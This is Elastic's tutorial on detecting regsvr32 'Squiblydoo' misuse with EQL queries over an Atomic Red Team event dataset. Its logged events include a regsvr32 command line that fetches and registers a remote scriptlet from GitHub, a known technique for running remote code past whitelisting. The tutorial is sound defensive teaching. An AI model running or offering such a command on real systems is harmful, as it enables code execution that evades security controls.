Example: Detect threats with EQL
This functionality is experimental and may be changed or removed completely in a future release. Elastic will take a best effort approach to fix any issues, but experimental features are not subject to the support SLA of official GA features.
This example tutorial shows you how you can use EQL to detect security threats and other suspicious behavior.
In the scenario, you’re tasked with detecting regsvr32
misuse in Windows event logs. regsvr32
misuse is a known adversary technique documented in the MITRE ATT&CK® knowledge base.
Setup
This tutorial uses a test dataset for regsvr32
misuse from Atomic Red Team. The dataset has been normalized and mapped to use fields from the Elastic Common Schema (ECS), including the @timestamp
and event.category
fields. The dataset includes events that imitate behaviors related to regsvr32
misuse, as documented by MITRE ATT&CK®.
To get started, download and index the dataset:
- Download the
normalized-T1117-AtomicRed-regsvr32.json
dataset. Index the data into
my-index-000001
with the following bulk API request:curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
Use the cat indices API to verify the data was successfully indexed.
GET /_cat/indices/my-index-000001?v&h=health,status,index,docs.count
The API response should show a
docs.count
value of150
, indicating 150 documents were indexed.health status index docs.count
yellow open my-index-000001 150
Get a count of regsvr32
events
Since you’re looking for regsvr32
misuse, start by getting a count of any events associated with a regsvr32.exe
process.
The following EQL search API request uses an EQL query to retrieve a count of events with a process.name
of regsvr32.exe
. The query starts with the any where
keywords, meaning the query can match events of any event category.
GET /my-index-000001/_eql/search?filter_path=-hits.events
{
"query": """
any where process.name == "regsvr32.exe"
""",
"size": 200
}
Uses the | |
Uses an EQL query to match events with a | |
Returns up to 200 events or sequences matching the EQL query. |
The request returns the following response, indicating that 143 events match the query.
{
"is_partial": false,
"is_running": false,
"took": 60,
"timed_out": false,
"hits": {
"total": {
"value": 143,
"relation": "eq"
}
}
}
Check for command line artifacts
Based on your previous query, you know regsvr32
processes were associated with 143 events. But how was regsvr32.exe
first called? And who called it?
regsvr32
is a command-line utility so it may help to narrow your results to processes where the command line was used.
Update the previous EQL query as follows:
- Change the
any
keyword toprocess
. This limits matches to events with anevent.category
ofprocess
. - Add the
and process.command_line.keyword != null
condition to match only events with a command line value.
You’ll also need to remove the filter_path=-hits.events
query parameter. This lets you retrieve the document source for any matching events.
GET /my-index-000001/_eql/search
{
"query": """
process where process.name == "regsvr32.exe" and process.command_line.keyword != null
"""
}
The query matches one process event. The event has an event.type
of creation
, indicating the start of a regsvr32.exe
process.
Based on the process.command_line
value in the response, regsvr32.exe
used scrobj.dll
to register a script, RegSvr32.sct
. This fits the behavior of a “Squiblydoo” attack, a known variant of regsvr32
misuse.
The response also includes other valuable information about how the regsvr32.exe
process started, such as the @timestamp
, the associated user.id
, and the process.parent.name
.
{
"is_partial": false,
"is_running": false,
"took": 21,
"timed_out": false,
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"events": [
{
"_index": "my-index-000001",
"_type": "_doc",
"_id": "gl5MJXMBMk1dGnErnBW8",
"_score": null,
"_source": {
"process": {
"parent": {
"name": "cmd.exe",
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
"executable": "C:\\Windows\\System32\\cmd.exe"
},
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
"executable": "C:\\Windows\\System32\\regsvr32.exe",
"ppid": 2652
},
"logon_id": 217055,
"@timestamp": 131883573237130000,
"event": {
"category": "process",
"type": "creation"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
}
}
}
]
}
}
Check for malicious script loads
You now know that a regsvr32.exe
process was used to register a potentially malicious script, RegSvr32.sct
. Next, see if regsvr32.exe
later loads the scrob.dll
library.
Modify the previous EQL query as follows:
- Change the
process
keyword tolibrary
. - Replace the
process.command_line.keyword != null
condition withdll.name == "scrobj.dll
.
GET /my-index-000001/_eql/search
{
"query": """
library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
"""
}
The query matches an event, confirming scrobj.dll
was later loaded by regsvr32.exe
.
{
"is_partial": false,
"is_running": false,
"took": 5,
"timed_out": false,
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"events": [
{
"_index": "my-index-000001",
"_type": "_doc",
"_id": "ol5MJXMBMk1dGnErnBW8",
"_score": null,
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573237450016,
"dll": {
"path": "C:\\Windows\\System32\\scrobj.dll",
"name": "scrobj.dll"
},
"event": {
"category": "library"
}
}
}
]
}
}
Determine likelihood of success
In many cases, malicious scripts are used to connect to remote servers or download other files. If this occurred, the attack might have succeeded.
Use an EQL sequence query to check for the following series of events, in order:
- A
regsvr32.exe
process, which could have been used to register malicious scripts asscrobj.dll
- A load of the
scrobj.dll
library by the same process - Any network event by the same process, which could indicate the download of a remote file
To match, each event in the sequence must share the same process ID, recorded in the process.pid
field.
Based on the command line value seen in the previous result, you can expect to find a match. However, the sequence query isn’t designed for that specific command. Instead, it looks for a pattern of suspicious behavior while still being generic enough to detect similar threats in the future.
GET /my-index-000001/_eql/search
{
"query": """
sequence by process.pid
[process where process.name == "regsvr32.exe"]
[library where dll.name == "scrobj.dll"]
[network where true]
"""
}
The query matches a sequence, indicating the attack likely succeeded.
{
"is_partial": false,
"is_running": false,
"took": 25,
"timed_out": false,
"hits": {
"total": {
"value": 1,
"relation": "eq"
},
"sequences": [
{
"join_keys": [
2012
],
"events": [
{
"_index": "my-index-000001",
"_type": "_doc",
"_id": "gl5MJXMBMk1dGnErnBW8",
"_version": 1,
"_seq_no": 3,
"_primary_term": 1,
"_score": null,
"_source": {
"process": {
"parent": {
"name": "cmd.exe",
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
"executable": "C:\\Windows\\System32\\cmd.exe"
},
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
"executable": "C:\\Windows\\System32\\regsvr32.exe",
"ppid": 2652
},
"logon_id": 217055,
"@timestamp": 131883573237130000,
"event": {
"category": "process",
"type": "creation"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
}
}
},
{
"_index": "my-index-000001",
"_type": "_doc",
"_id": "ol5MJXMBMk1dGnErnBW8",
"_version": 1,
"_seq_no": 5,
"_primary_term": 1,
"_score": null,
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573237450016,
"dll": {
"path": "C:\\Windows\\System32\\scrobj.dll",
"name": "scrobj.dll"
},
"event": {
"category": "library"
}
}
},
{
"_index": "my-index-000001",
"_type": "_doc",
"_id": "EF5MJXMBMk1dGnErnBa9",
"_version": 1,
"_seq_no": 24,
"_primary_term": 1,
"_score": null,
"_source": {
"process": {
"name": "regsvr32.exe",
"pid": 2012,
"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
"executable": "C:\\Windows\\System32\\regsvr32.exe"
},
"@timestamp": 131883573238680000,
"destination": {
"address": "151.101.48.133",
"port": "443"
},
"source": {
"address": "192.168.162.134",
"port": "50505"
},
"event": {
"category": "network"
},
"user": {
"full_name": "bob",
"domain": "ART-DESKTOP",
"id": "ART-DESKTOP\\bob"
},
"network": {
"protocol": "tcp",
"direction": "outbound"
}
}
}
]
}
]
}
}